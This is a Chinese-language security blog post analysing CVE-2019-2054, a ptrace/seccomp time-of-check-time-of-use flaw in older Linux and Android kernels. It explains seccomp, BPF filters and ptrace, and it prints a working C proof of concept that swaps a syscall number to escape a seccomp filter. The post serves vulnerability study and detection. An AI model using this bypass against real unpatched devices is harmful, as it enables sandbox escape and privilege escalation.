Let_go
人生如棋,我愿为卒。行动虽慢,可谁曾见我后退一步。

CVE-2019-2054

2019/04/10 Android_Kernel

CVE-2019-2054


前言

漏洞信息

  • 实验环境:pixel2(内核版本4.4,安全补丁2019-04-05)
  • 漏洞类型:TOCTOU(timer-of-check-time-of-use)
  • 漏洞描述:在内核版本4.8之前,因为ptrace可以修改子进程进行系统调用时的syscall的调用号,而seccomp对系统调用的检查位于ptrace修改代码之前,这就可以通过ptrace来绕过seccomp对一些系统调用的检查,这可以配合一些漏洞进行提权操作。
  • 调用链:syscall_trace_enter->secure_computing->__secure_computing->seccomp_phase1

漏洞原理

漏洞原理

这里简单记录下最近看的一个漏洞(CVE-2019-2054),漏洞发生在版本小于4.8的内核中的一个TOCTOU(timer-of-check-time-of-use)漏洞,被ptrace之后的进程可以绕过seccomp对系统调用的检查(当seccomp把安全系统调用检查之后被ptrace把这个系统调用替换为被过滤的调用,这使得seccomp前面的检查就没有意义了)。所以这些旧版本的内核中开启seccomp的进程就不应该具有使用ptrace的能力。避免恶意进程使用ptrace对seccomp过滤进行逃逸。
在android系统中zygote程序将seccomp沙箱应用在system_server和所有的app进程中,并且这个seccomp沙箱允许使用ptrace函数这刚好满足这个漏洞所需的要求。

漏洞造成的影响

通过这个漏洞可以实现对seccomp沙箱的绕过,从而调用一些系统限制我们调用的系统调用。增加了攻击面,结合别的漏洞可用做权限提升。

漏洞利用

seccomp机制

既然该漏洞功能是绕过seccomp沙箱那么我们首先来看下什么是seccomp沙箱
seccomp是secure computing的缩写,是linux kernel从2.6.23版本中引入的一种简洁的sandboxing机制。由于linux中大量的系统调用直接暴露给用户程序。但并不是所有系统调用都会用到,所以一些不安全的代码滥用系统调用会对系统造成安全威胁。seccomp机制能使进程进入一种”安全”运行模式。
首先如果我们要使用该机制,需要在内核编译时开启以下几个选项,这样在启动后的系统中就能使用seccomp机制了。

1
2
3
CONFIG_SECCOMP=y
CONFIG_HAVE_ARCH_SECCOMP_FILTER=y
CONFIG_SECCOMP_FILTER=y

seccomp总共分为3种模式分别用0,1,2表示:

  • 0.尚未启动seccomp
  • 1.启动seccomp沙箱”STRICT”模式
  • 2.启动seccomp沙箱”FILTER”模式

查看当前进程所使用的seccomp模式有2种方法。
1.通过/proc/<pid>/status文件中的Seccomp字段来确定当前进程属于哪种模式。
2.通过prctl函数使用PR_GET_SECCOMP选项获取,返回值则是。
再来看看”STRICT”与”FILTER”两种模式有什么不同。
首先是”STRICT”模式,该模式下只能调用4种系统调用即read,write,exit,sigreturn,如果调用其他不允许的系统调用则进程会收到SIGKILL信号而被终止运行。
用户程序中开启”STRICT”模式的方法:

1
2
1.prctl(PR_SET_SECCOMP,SECCOMP_MODE_STRICT);
2.seccomp(SECCOMP_SET_MODE_STRICT,0,NULL);

可以看到STRICT模式把权限设置还是比较死的,只能使用4个默认的系统调用,灵活性不够啊。那么有什么方法可以使我们自己设置过滤的系统调用吗?当然可以那就是”FILTER”模式,该模式我们可以自己编写过滤策略,相对于前面的模式来说”FILTER”模式就灵活多了。但也有一个限制那就是开启该模式需要具备CAP_SYS_ADMIN属性或当前进程设置了no_new_privs选项,可通过prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);来开启no_new_privs选项。如果不具备前面两个条件的任意一个那么使用SECCOMP_SET_MODE_FILTER选项时函数就会返回错误。这样设定的原因主要为了避免无特权的进程新增恶意bpf策略,no_new_privs选项主要是用于规避execve启动的程序权限大于父进程权限而造成一些列安全问题
开启”FILTER”模式的方法和前面的差不多只需要换下参数:(注意上面提到的该模式的前提条件)

1
2
1.prctl(PR_SET_SECCOMP,SECCOMP_SET_MODE_FILTER,args);
2.seccomp(SECCOMP_SET_MODE_FILTER,0,args);

最后的args参数指向一个sock_fprog结构体,而sock_fprog结构体的filter成员指向的就是我们的bpf过滤代码。具体的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*设置SECCOMP_SET_MODE_FILTER模式时传入的args参数*/
struct sock_fprog { /* Required for SO_ATTACH_FILTER. */
unsigned short len; /* Number of filter blocks */
struct sock_filter __user *filter;
};
/*用来创建bpf指令,系统调用时内核会用到*/
struct sock_filter { /* Filter block */
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
/*该结构体用来存放系统调用信息*/
struct seccomp_data {
int nr; /* System call number */
__u32 arch; /* AUDIT_ARCH_* value(see <linux/audit.h>) */
__u64 instruction_pointer; /* CPU instruction pointer */
__u64 args[6]; /* Up to 6 system call arguments */
};

当触发一个过滤检查时(也就是调用限制系统调用时),seccomp过滤器函数会根据过滤代码返回一个由两部分组成的32位值。前16-bit为SECCOMP_RET_ACTION,后16-bit为SECCOMP_RET_DATA。
SECCOMP_RET_ACTION定义了以下几种行为:
SECCOMP_RET_KILL – 不执行system call,立即中止process (SIGSYS)。
SECCOMP_RET_TRAP – 不执行system call,进程发出(SIGSYS)system call, 并system。 call相关信息存放到siginfo_t
SECCOMP_RET_ERRNO – 不执行system call,SECCOMP_RET_DATA返回errno。
SECCOMP_RET_TRACE – 启动ptrace base的tracer(如gdb), 让tracer可以接手处理。若没有tracer则返回-ENOSYS
SECCOMP_RET_ALLOW – system call正常运行
如果同时符合多个条件,则SECCOMP_RET_ACTION只会返回优先级较高的值。

SECCOMP_RET_DATA则表示我们的返回值。

使用seccomp沙箱

列出一个linux中使用该模式的例子:https://elixir.bootlin.com/linux/latest/source/samples/seccomp/dropper.c

关闭seccomp沙箱

通过adb shell setenforce 0 && adb stop && adb start指令可关闭对zygote进程的seccomp的安装,因为无法从正在运行的进程中移除seccomp策略,所以需要重启shell以使该选项生效。

seccomp检测工具

AOSP项目中/cts/tests/tests/security/jni/android_security_cts_SeccompTest.cpp可用来检测当前设备阻止了哪些系统调用,原理就是不断试错。

BPF策略

BPF(BSD Packet Filter)一种过滤机制,更多时候用来过滤Unix内核网络数据包,我们这里是seccomp用它来做系统调用的过滤操作,BPF采用一种叫过滤器伪机的方式(filter Pseudo-machine)对BPF过滤代码做解释执行,这种伪机器是一个轻量级,高效的状态机。BPF伪指令形式为”opcode jt jf k”也就是前面的sock_filter结构体,分别表示操作码,寻址方式,判断正确的跳转和失败的跳转,以及操作所使用的的通用数据域。|opcode|jt|jf|k|
下面是一组BPF代码,这段代码比较好理解,用来定义内核对系统调用nr的过滤,如果目标进程如果使用了nr系统调用,则会执行SECCOMP_RET_KILL选项也就是进程被直接杀掉,使用别的调用则会使用SECCOMP_RET_ALLOW选项直接放行。
涉及到的几个指令函数:
BPF_LD+BPF_W+BPF_ABS A <- P[k:4] /将一个Word即4byte的值赋给寄存器(accumulator)/
BPF_JMP+BPF_JEQ+BPF_K pc += (A == k) ? jt : jf /若A等于K则跳转jt行执行否则跳转jf行执行/
更多指令含义

1
2
3
4
5
6
7
8
9
10
11
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, /*把获取seccomp_data结构体中arch变量的值并加载到寄存器中*/
(offsetof(struct seccomp_data, arch))),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, arch, 0, 3),/*判断获取的arch是否与我们过滤代码指定的arch一致,若一致继续判断,否则返回SECCOMP_RET_ALLOW*/
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, /*把获取seccomp_data结构体中nr变量的值并加载到寄存器中*/
(offsetof(struct seccomp_data, nr))),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, nr, 0, 1),/*判断获取的nr是否与我们过滤代码指定的nr一致,若一致则返回错误SECCOMP_RET_KILL,不一致则返回SECCOMP_RET_ALLOW*/
BPF_STMT(BPF_RET+BPF_K,
SECCOMP_RET_KILL|(error & SECCOMP_RET_DATA)),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
};

学过汇编的朋友第一眼是不是感觉和汇编代码很相似,反正我感觉都差不多。

ptrace使用

ptrace想必大家都有所了解这里就不多介绍了,主要记录下用到的选项:
PTRACE_SETREGSET:用来修改tracee的寄存器,这里指定为NT_ARM_SYSTEM_CALL就可以把子进程的系统调用给改掉了,需要改的值放在iov结构体中。
ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov);

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#include <errno.h>
#include <linux/audit.h>
.....
#include <sys/wait.h>
#include <stdbool.h>
int do_exp(void) {
int status,sysnumber;
struct iovec iov = {.iov_base = &sysnumber, .iov_len = sizeof(sysnumber)};
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
printf("[+] [Child] pid:%d\n",getpid());
//syscall(__NR_swapon, 0, 0);
pid_t my_pid = getpid();
while (1) {
errno = 0;
int res = syscall(__NR_gettid, 0, 0); /*不断执行syscall*/
if (res != my_pid) {
//syscall(__NR_swapon, 0, 0);
printf("[Child] error -> %d (%s)\n", res, strerror(errno));
/*把错误值返回给父进程,正常返回表示绕过了沙箱,不然应该会被系统kill则表示没绕过沙箱*/
exit(res);
}
}
}
sleep(1);
if (ptrace(PTRACE_ATTACH, child, NULL, NULL)) err(1, "ptrace attach"); /*附加到进程*/
if (waitpid(child, &status, 0) != child) err(1, "wait for child");
if (ptrace(PTRACE_SYSCALL, child, NULL, NULL)) err(1, "ptrace syscall entry");
if (waitpid(child, &status, 0) != child) err(1, "wait for child");
if (ptrace(PTRACE_GETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace getregs"); /*在子进程syscall的时候停止,获取系统调用号到iov中 (NT_ARM_SYSTEM_CALL ARM system call number)*/
printf("seeing syscall %d\n", sysnumber);
if (sysnumber != __NR_gettid) errx(1, "not gettid"); /*判断获取到的系统调用号是否为getpid*/
sysnumber = __NR_swapon; /*修改系统调用号*/
if (ptrace(PTRACE_SETREGSET, child, NT_ARM_SYSTEM_CALL, &iov)) err(1, "ptrace setregs"); /*在子进程syscall的时候停止,通过iov修改 syscall的系统调用号*/
if (ptrace(PTRACE_DETACH, child, NULL, NULL)) err(1, "ptrace syscall"); /*分离*/
pid_t pid;
bool isvul=false;
pid = wait(&status);
//printf("child process has exited,pid=%d status=%d\n", pid,status);
if ( WIFEXITED(status) ){ /*通过判断子进程是否正常返回区分是否绕过了seccomp沙箱*/
printf("child exited with code:%d\n", WEXITSTATUS(status));
isvul = true;
}else{
isvul = false;
printf("child process exit abnormally\n");
}
//kill(child, SIGCONT);
//sleep(5);
//kill(child, SIGKILL);
return isvul;
}
static int install_filter(int nr, int arch, int error){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
(offsetof(struct seccomp_data, arch))),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, arch, 0, 3),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
(offsetof(struct seccomp_data, nr))),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, nr, 0, 1),
BPF_STMT(BPF_RET+BPF_K,
SECCOMP_RET_KILL|(error & SECCOMP_RET_DATA)),
//BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("prctl(NO_NEW_PRIVS)");
return 1;
}
if (prctl(PR_SET_SECCOMP, 2, &prog)) {
perror("prctl(PR_SET_SECCOMP)");
return 1;
}
return 0;
}
int main(int argc, char **argv){
printf("[+] __NR_swapon:%d pid:%d\n",__NR_swapon,getpid());
if (install_filter(__NR_swapon, AUDIT_ARCH_AARCH64,SECCOMP_RET_KILL)) /*对__NR_swapon系统调用设置过滤*/
return 1;
if(do_exp()){
printf(" Vulnerability \n");
}else{
printf(" No Vulnerability \n");
}
//syscall(__NR_swapon, 0, 0);
//printf("Failed to swapon\n");
return 1;
}

总结

感觉这段时间尽看些逻辑漏洞,逻辑漏洞利用起来不用过各种保护机制真是好,而且还特稳定,不像内存破坏漏洞还需要绕过各种保护机制才能提权成功,而某些逻辑漏洞直接就能提权。
唉,早点休息早点休息,狗命要紧。

参考

1
2
3
4
5
https://bugs.chromium.org/p/project-zero/issues/detail?id=1718&can=1&q=jannh&sort=-reported&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary
https://szlin.me/2017/08/23/kernel_seccomp/
http://www.tin.org/bin/man.cgi?section=2&topic=ptrace
http://wiki.mozilla.org/Security/Sandbox/Seccomp
http://www.selinuxplus.com/?p=363

Author: Let_go

Link: http://github.com/2019/04/10/CVE-2019-2054/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
代码审计之CppCheck
NextPost >
CVE-2018-12232-And-CVE-2019-8912
CATALOG
  1. 1. CVE-2019-2054
    1. 1.1. 前言
      1. 1.1.1. 漏洞信息
    2. 1.2. 漏洞原理
      1. 1.2.1. 漏洞原理
      2. 1.2.2. 漏洞造成的影响
    3. 1.3. 漏洞利用
      1. 1.3.1. seccomp机制
        1. 1.3.1.1. 使用seccomp沙箱
        2. 1.3.1.2. 关闭seccomp沙箱
        3. 1.3.1.3. seccomp检测工具
      2. 1.3.2. BPF策略
      3. 1.3.3. ptrace使用
      4. 1.3.4. 利用代码
    4. 1.4. 总结
    5. 1.5. 参考